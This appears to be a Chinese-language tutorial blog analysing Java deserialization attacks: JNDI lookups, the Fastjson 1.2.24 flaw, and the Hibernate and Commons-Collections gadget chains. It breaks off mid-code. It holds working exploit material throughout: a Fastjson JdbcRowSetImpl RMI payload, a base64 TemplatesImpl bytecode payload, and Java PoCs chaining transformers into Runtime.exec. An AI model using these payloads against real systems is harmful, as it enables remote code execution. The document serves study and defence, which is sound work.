JNDI安全详解

JNDI

简介

JNDI( Java Naming and Directory Interface***#Java命名和目录接口***)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)

Naming Service:命名服务是将名称与值相关联的实体,称为”绑定”。它提供了一种使用”find”或”search”操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。

Directory Service:是一种特殊的Naming Service,它允许存储和搜索”目录对象”,一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息。

关于JNDI和这些服务的关系具体可以看这个图

我们可以理解为JNDI是一种上层的规范,而下面的服务都是对这个规范的一个具体实现

个人理解就是Naming Service提供的服务就是将一个对象和一个url进行绑定,而具体如何实现对某个对象的加载是又下层的RMI等具体服务来执行的

就比如同样获取一个文件,我们既可以选择http服务也可以选择ftp服务,但是他们都是通过TCP/IP协议传输的

其中JDK默认内置了如下SPI:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

同时JNDI分为了5个包:

例如上面说到的RMI Registry就是使用的Naming Service。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。
代码格式如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

部分内容引用:

https://paper.seebug.org/1091/#jndi

Fastjson反序列化分析

在进行fastjson反序列化前,我们要先看看为什么fastjson解析会有反序列化的漏洞,我们先来做一个正常的类,并对其使用json解析,这里我们使用1.2.24版本作为演示

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

首先来一个正常一点的用户类(符合JavaBean要求)

package org.example;
public class User {
    private String username;
    private String password;
    public User(String username,String password){
        this.username=username;
        this.password=password;
    }
    public User() {
    }

    public String getUsername() {
        System.out.println("getUsername");
        return username;
    }
    public void setUsername(String username) {
        System.out.println("setUsername");
        this.username = username;
    }
    public String getPassword() {
        System.out.println("getPassword");
        return password;
    }
    public void setPassword(String password) {
        System.out.println("setPassword");
        this.password = password;
    }
}

写个test调用一下

package org.example;

import com.alibaba.fastjson.JSON;

public class test {
    public static void main(String[] args) {
        User user=new User("Jlan","FXXKpassword");
        String json= JSON.toJSONString(user);
        System.out.println(json);
    }
}
//getPassword
//getUsername
//{"password":"FXXKpassword","username":"Jlan"}
//输出结果可见调用了getter方法

我们再来看三种不同的解析方法会对类做什么处理

可以看到除了我们指定好类的情况下变量为对应的类,剩下的情况都是JSONObject类(废话),那我们在来看看在json中加入@type参数是什么效果

可以看到这次parse方法和指定类的parseObject方法都转换出了正确的类并且调用了setter方法,但是不指定类的parseObject方法却先调用了setter方法后调用了getter方法,这是为什么呢,我们跟入其源码看一下

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

可以看到其先调用了parse方法(setter被调用),然后判断这个对象是否是JSONObject对象,如果不是就调用toJSON将其转为JSONObject(getter被调用)

那现在又有一个问题,如果@type和parseObject传入的类不相同怎么办,我们先建立一个和User完全一致的Users类(名字不一样哈)

意料之中,直接报错(大家也可以试试使用Object.class,这是成功的,怀疑是先进行prase再尝试进行转换)

那么下面我们来看这个版本利用的两条getter或setter链

com.sun.rowset.JdbcRowSetImpl

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

这就是反序列化的关键类了,我们跟入看看里面的内容,由于在进行json解析的时候调用的是setter方法,那么我们就在上面两个属性的set方法上打断点

对于dataSourceName没什么,就是一个单纯的设定了一下属性,我们继续看autoCommit

这里的set首先对conn的状态进行了判定,如果现在有一个连接那么就直接调用conn属性的setAutoCommit方法,反之就要先调用本对象的connect方法,我们跟入看看

首先尝试获取DataSourceName的内容,并对其执行lookup方法,而lookup方法就是用于远程加载类的,所以此时我们的恶意类就被加载进去了,实现RCE

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

又来了,字节码加载又来了

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

1.2.24

Hibernate链分析

Hibernate

简介

Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。 Hibernate可以应用在任何使用JDBC的场合,既可以在Java的客户端程序使用,也可以在Servlet/JSP的Web应用中使用,最具革命意义的是,Hibernate可以在应用EJB的JaveEE架构中取代CMP,完成数据持久化的重任。

前置知识

一个奇怪小知识,就是在java中的Class.this和this的区别

class Outer{
    String data = "Out!";
    public class Inner{
        String data = "In!";
        public String getOuterData(){
            return Outer.this.data; // will return "Out!"
        }
    }
}

第一次见这么写接口实现的

//ValueHolder
public interface DeferredInitializer<T> {
    T initialize();
}
//TypedValue
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
    ois.defaultReadObject();
    this.initTransients();
}
private void initTransients() {
    this.hashcode = new ValueHolder(new ValueHolder.DeferredInitializer<Integer>() {
        public Integer initialize() {
            return TypedValue.this.value == null ? 0 : TypedValue.this.type.getHashCode(TypedValue.this.value);
        }
    });
}

链分析

/**
 *
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 *
 *
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 *
 * @author mbechler
 */

先看序列化返回数据的类型,是HashMap,看一下内容的存储结构

两对键值对key和value都是TypedValue类,我们又知道在HashMap反序列化的时候会自动对key执行hashCode操作,所以我们就从TypedValue的hashCode方法开始跟入

//org.hibernate.engine.spi.TypedValue
public int hashCode() {
    return (Integer)this.hashcode.getValue();
}

变量内的hashcode为ValueHolder类,这里的ValueHolder和TypedValue就是对其中的value进行了一定的包装,方便我们获取其类型和属性,我们鸡血跟入ValueHolder.getValue

//ValueHolder
public ValueHolder(DeferredInitializer<T> valueInitializer) {
    this.valueInitializer = valueInitializer;
}
public T getValue() {
    if (this.value == null) {
        this.value = this.valueInitializer.initialize();
    }
    return this.value;
}

执行了this.valueInitializer.initialize,这里的valueInitializer是在构造函数中传入的,我们继续跟入

private void initTransients() {
    this.hashcode = new ValueHolder(new ValueHolder.DeferredInitializer<Integer>() {
        public Integer initialize() {
            return TypedValue.this.value == null ? 0 : TypedValue.this.type.getHashCode(TypedValue.this.value);
        }
    });
}

进入到了TypedValue的initTransients中对ValueHolder的DeferredInitializer的实现中,调用了TypedValue.type.getHashCode(TypedValue.this.value),这里value就是构造了恶意字节码的TemplateImpl对象了,跟入

public int getHashCode(Object x) {
    int result = 17;

    for(int i = 0; i < this.propertySpan; ++i) {
        Object y = this.getPropertyValue(x, i);
        result *= 37;
        if (y != null) {
            result += this.propertyTypes[i].getHashCode(y);
        }
    }

    return result;
}
//org.hibernate.type.ComponentType
public int getHashCode(Object x) {
    int result = 17;
    for(int i = 0; i < this.propertySpan; ++i) {
        Object y = this.getPropertyValue(x, i);
        result *= 37;
        if (y != null) {
            result += this.propertyTypes[i].getHashCode(y);
        }
    }
    return result;
}
public Object getPropertyValue(Object component, int i) throws HibernateException {
    return component instanceof Object[] ? ((Object[])((Object[])component))[i] : this.componentTuplizer.getPropertyValue(component, i);
}

调用到this.componentTuplizer.getPropertyValue(恶意字节码对象,i)

//org.hibernate.tuple.component.AbstractComponentTuplizer
public Object getPropertyValue(Object component, int i) throws HibernateException {
    return this.getters[i].get(component);
}
public Object get(Object owner) {
    try {
        return this.getterMethod.invoke(owner);
    } catch (InvocationTargetException var3) {
        throw new PropertyAccessException(var3, "Exception occurred inside", false, this.containerClass, this.propertyName);
    } catch (IllegalAccessException var4) {
        throw new PropertyAccessException(var4, "IllegalAccessException occurred while calling", false, this.containerClass, this.propertyName);
    } catch (IllegalArgumentException var5) {
        LOG.illegalPropertyGetterArgument(this.containerClass.getName(), this.propertyName);
        throw new PropertyAccessException(var5, "IllegalArgumentException occurred calling", false, this.containerClass, this.propertyName);
    }
}

继续调用this.getters[i].get(恶意字节码对象),最终调用到this.getterMethod.invoke(owner)这里的getterMethod就是我们先前构造的getOutputProperties方法,传入恶意字节码对象,完成RCE

CC链碎片

CC链碎片

众所周知,CC链本质上就是对不同的反序列化进行拼凑得到的,那么我们只要将其中的碎片进行总结再加以利用就可以构造出所有的CC链,这篇水文就是用来总结CC中的所有碎片的

阅读全文

CommonsCollections反序列化分析

CommonsCollections1

先上链子

/*
Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

Requires:
    commons-collections
 */
/*
这里的链子和下面走的略有不同,不过问题不大
*/
//AnnotationInvocationHandler->Map(Proxy)->AnnotationInvocationHandler->ChainedTransformer->InvokerTransformer

在来一句大佬的话

CC1 链的关键在三个实现了Transformer接⼝的类 ChainedTransformer ConstantTransformer InvokerTransformer,Transformer 顾名思义就是一个转换器用来处理传入的对象,然后将处理完的对象返回。

//Transformer接口
package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

那我们就看看在commons.collection都有哪些类实现了这个接口

  1. InvokerTransformer(调用者转换器)

    可以看到通过获取this.iMethodName, this.iParamTypes, this.iArgs来反射调用传入类的方法,其中内容都可控,那我们是不是只要传入一个Runtime对象,调用其中的exec方法,就能任意命令执行了呢

    直接调用可行性验证

    发现成功执行了,但是直接找到⼀个类,它在反序列化的 readObject 里直接或间接调用了 InvokerTransformertransform 方法,并且参数可控,就能RCE,是这样吗?肯定不是,我们都知道待序列化的对象和所有它使⽤的内部属性对象,必须都实现了 java.io.Serializable 接⼝。我们需要传给 transform 方法的参数是 Runtime 对象,在序列化的时候肯定也属于内部属性对象,而它是没有实现 java.io.Serializable 接⼝的,所以即使找到了符合条件的类也没办法构造成序列化数据。

  2. ChainedTransformer(链条转换器)

    此类的transform通过按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个项目的transform进行调用,就像一个链条一样逐层传递执行,那么二者结合我们就可以利用InvokerTransformer通过反射来间接生成一个Runtime类,进而RCE

    //反射获取Runtime类
    Class clazz = Class.forName("java.lang.Runtime");
    Method getRuntimeMethod = clazz.getMethod("getRuntime");
    Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
    runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    //链式调用写法
    Transformer[] transformers = new Transformer[]{
            new InvokerTransformer(//生成Runtime类对象,此处也可使用ConstantTransformer直接调用Runtime.class
                    "forName",
                    new Class[] {String.class},
                    new Object[] {"java.lang.Runtime"}
            ),
            new InvokerTransformer(//获取getRuntime方法
                    "getMethod",
                    new Class[] {String.class,Class[].class},
                    new Object[] {"getRuntime",new Class[0]}
            ),
            new InvokerTransformer("invoke", new Class[] {//获取invoke方法执行
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
            new InvokerTransformer(//RCE
                    "exec",
                    new Class[] {String.class},
                    new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            )
    };

    最后调用 ChainedTransformer#transform() 即可,参数为 class对象Class.class

    最后就是我们怎么获取到一个class对象作为我们链式调用的起点,我们继续往下走

  3. ConstantTransformer(常量转换器)

    最后我们再来看ConstantTransformer,这个类实现了序列化接口所以也可以进行反序列化

    可以看到transform函数就直接返回了this.iConstant,这里的iConstant我们直接传入即可,说白了就是拿一个对象包裹一个对象(听起来多少有点没用),不过,由于其transform方法会将其中的iConstant直接返回,我们就可以在其中包裹一个class类对象来作为上面的链式调用的起点,最终构造的链子如下

    最终只要调用transform随便扔点啥进去都能调用成功

上面的内容就是通过Transform类的逐层构建RCE的步骤了,那我们看到如果我们需要在反序列化的过程中进行RCE的话,最终需要调用ChainedTransformer的transform方法才能触发,那下一步就是找什么类中能进行transform操作,这里有两个类可供选择,LazyMapTransformedMap,我们来分别看一下

TransformedMap

我们首先来看哪些位置进行了transform操作

可以看到上面这三个方法都调用了transform方法,看看valueTransFormer是否符合我们的类型要求

可以看到this.keyTransformer的类型是Transformer而且是我们可以控制的,但是上面三个方法都是protected类型没办法直接调用,那我们看看有没有可用的pulic方法

可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以,我们可以通过调用实例化一个TransforomedMap对象,然后调用对象的put方法,从而执行任意命令,此时的POC如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class POC3 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };
        //构造恶意对象
        Transformer chain = new ChainedTransformer(transformers_exec);
        HashMap innerMap = new HashMap();
        innerMap.put("kkk","jsme");
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        //通过decorate将内容转换为TransformedMap类型
        outerMap.put("jlan","gay");
    }
}

直接运行即可弹计算器

现在找到了transform的触发方法了,不过我们还要再进一步让其在反序列化的时候触发,那我们就需要找一个类重写了readObject方法并且其中直接或间接调用了transformKey、transformValue、checkSetValue、put方法

在我们真正开始审计寻找之前先来看两个知识点

  1. TransformedMap是Map类型,
  2. TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法(我想,这个也是漏洞作者在挖掘过程中按照我上面提到的那两种策略摸索出来的,而不是他一开始就知道…由于idea不能全局搜索反编译文件中的任意字符串,我也就不能轻松的逆向分析复现出作者的挖掘过程,所以就直接把结论放在这里,然后一会正向分析为什么会自动调用checkSetValue方法)。

还要了解一下Map的entryset

由于Map中存放的元素均为键值对,故每一个键值对必然存在一个映射关系。
Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value
Map.Entry里面包含getKey()和getValue()方法

Set<Entry<T,V>> entrySet()
该方法返回值就是这个map中各个键值对映射关系的集合。

可使用它对map进行遍历。

Iterator<Map.Entry<Integer, Integer>> it=map.entrySet().iterator();
	while(it.hasNext()) {
		Map.Entry<Integer,Integer> entry=it.next();
		int key=entry.getKey();
		int value=entry.getValue();
		System.out.println(key+" "+value);
	}

那么我们下面的策略就是,找到一个重写了readObject方法的类,并且其对某个Map类型的属性进行了setValue的操作,于是就找到了sun.reflect.annotation.AnnotationInvocationHandler类,但是由于这是个JDK的内置类,所以会导致这个payload只能在部分java版本上生效,而java在JDK1.8的部分版本上更新了这个类,所以某些JDK1.8及以上是无法使用这个payload

知道了这些我们再往下走,先看看JDK1.8和JDK1.7的区别

//JDK1.8    
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
//JDK1.7
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));/*setValue在这里*/
            }
        }
    }
}

可以看到在JDK1.8中已经没有了setValue操作,所以以下内容我们都基于JDK1.7来进行private final Map<String, Object> memberValues这里的memberValues是我们可控的

下面我们就要满足进入方法的条件了(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)),isInstance表示前面的能否强制转为后面这种类型,instanceof表示前者是不是后者这种类型,那么我们看看如何才能满足这个if条件

var7 = (Class)var3.get(var6)
var8 = var5.getValue()//也就是从ver5中取出的值
var5 = (Entry)var4.next()//ver4也就是整个map的映射表
var3 = var2.memberTypes()//map映射出的所有object类型列表
var2 = AnnotationType.getInstance(this.type)//此处this.type可控

此处我们可以看构造函数来知道那些哪些内容可控

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

可以看到this.type就是var1,也就是一个继承了Annotation的类,关于Annotation是什么可以去看Java小点文章,这里不再赘述,所有的注解都是Annotation这个接口的子类,这里我们使用java.lang.annotation.Retention这个注解类,我们先尝试使用这个类来生成POC看看是否合法

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");
        
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        
        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

    }
}

这里由于AnnotationInvocationHandler构造函数并非公开,所以我们通过反射来构造对应类,再来加一个关于反射获取构造函数的小点

  1. Class类的getConstructor()方法,无论是否设置setAccessible(),都不可获取到类的私有构造器
  2. Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器),但在使用private的构造器时,必须设置setAccessible()为true,才可以获取并操作该Constructor对象

OK我们构造完成后进行反序列化尝试,发现运行成功,不过我们前面还有个问题没有解决,就是为什么TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法

我们跟入反序列化,在AbstractInputCheckedMapDecorator.java中有这么一条,可以看到进入后就直接调用了parentcheckSetValue方法

破案咯~

LazyMap

下面我们就要进行完整的调用链构造了,RCE的部分我们已经完成了,下一步就是找在readObject方法中调用了可控参数的transform方法的类了,这里ysoserial链子使用的是AnnotationInvocationHandler–>LazyMap#get()

先来看看AnnotationInvocationHandler#注释信息处理,其中的readObject方法中并没有直接调用到Mapget方法,但是在 AnnotationInvocationHandler#invoke() 方法调用了 get 方法,this.memberValues可控并且为Map类,那么我们找个实现了Map接口的类即可,此处利用的是LazyMap

我们继续跟入,发现LazyMap重写了get方法如下,对factory属性的transform方法进行了调用,此处的factory为Transformer类,使用其的实现类即可(也就是我们用来RCE的ChainedTransformer)

现在的问题就是我们如何调用AnnotationInvocationHandler#invoke()方法了,这里涉及到的知识就是Java的动态代理,我们可以创建一个AnnotationInvocationHandler代理类,然后在调用AnnotationInvocationHandler代理类中的任意方法都会先调用AnnotationInvocationHandler#invoke()方法,是因为我们在调用类内非静态

总结一下现有的链子,我们先创建一个LazyMap对象,将其中的factory设置为构造好的ChainedTransformer,这样在调用LazyMapget方法时就能链式调用导致RCE了,那我们现在再分析一下Poc

public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		//开一个chainedTransformer
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		//真正的链子
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

CommonsCollections3

巧了这次没链子了(

/*
 * Variation on CommonsCollections1 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */
 //InvocationHandler->Map(Proxy)->ChainedTransformer->InstantiateTransformer.transform->input.getConstructor(javax.xml.transform.Templates)->con.newInstance(恶意字节码)

上代码

public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}

乍一看和CC1很像,但是可以看到和CC1链子中不同的地方是使用了createTemplatesImpl,并且tranform链子也略有不同,用了InstantiateTransformer,我们先跟进去看一下构造函数与transform相结合出现什么

代码加上类中定义的内容我们知道添加这个对象相当于调用TrAXFilter的构造函数生成一个对象,再看传入的参数得知相当于执行了new TrAXFilter(templatesImpl)

再看构造函数中调用了templates的newTransformer方法,和CB1链一致,结束

CommonsCollections2

链子来了嗷

/*
	Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
      TransformingComparator.compare()
         InvokerTransformer.transform()
            method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
 */
//PriorityQueue->TransformingComparator->InvokerTransformer->TemplatesImpl

看着怎么又和CB1扯上关系了,不过在compare处还是有些微的不同的,所以还是来分析一下吧

前面的Queue部分我们直接跳过,来看siftDownUsingComparator之后的链子

此时调用Comparator的compare方法,跟入

继续走InvokerTransformer的transform方法(此处就和CC1连起来了),跟入transform与CC1触发相同,调用了newTransformer方法触发字节码读取执行命令

public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
		// stub data for replacement later
		queue.add(1);
		queue.add(1);

		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

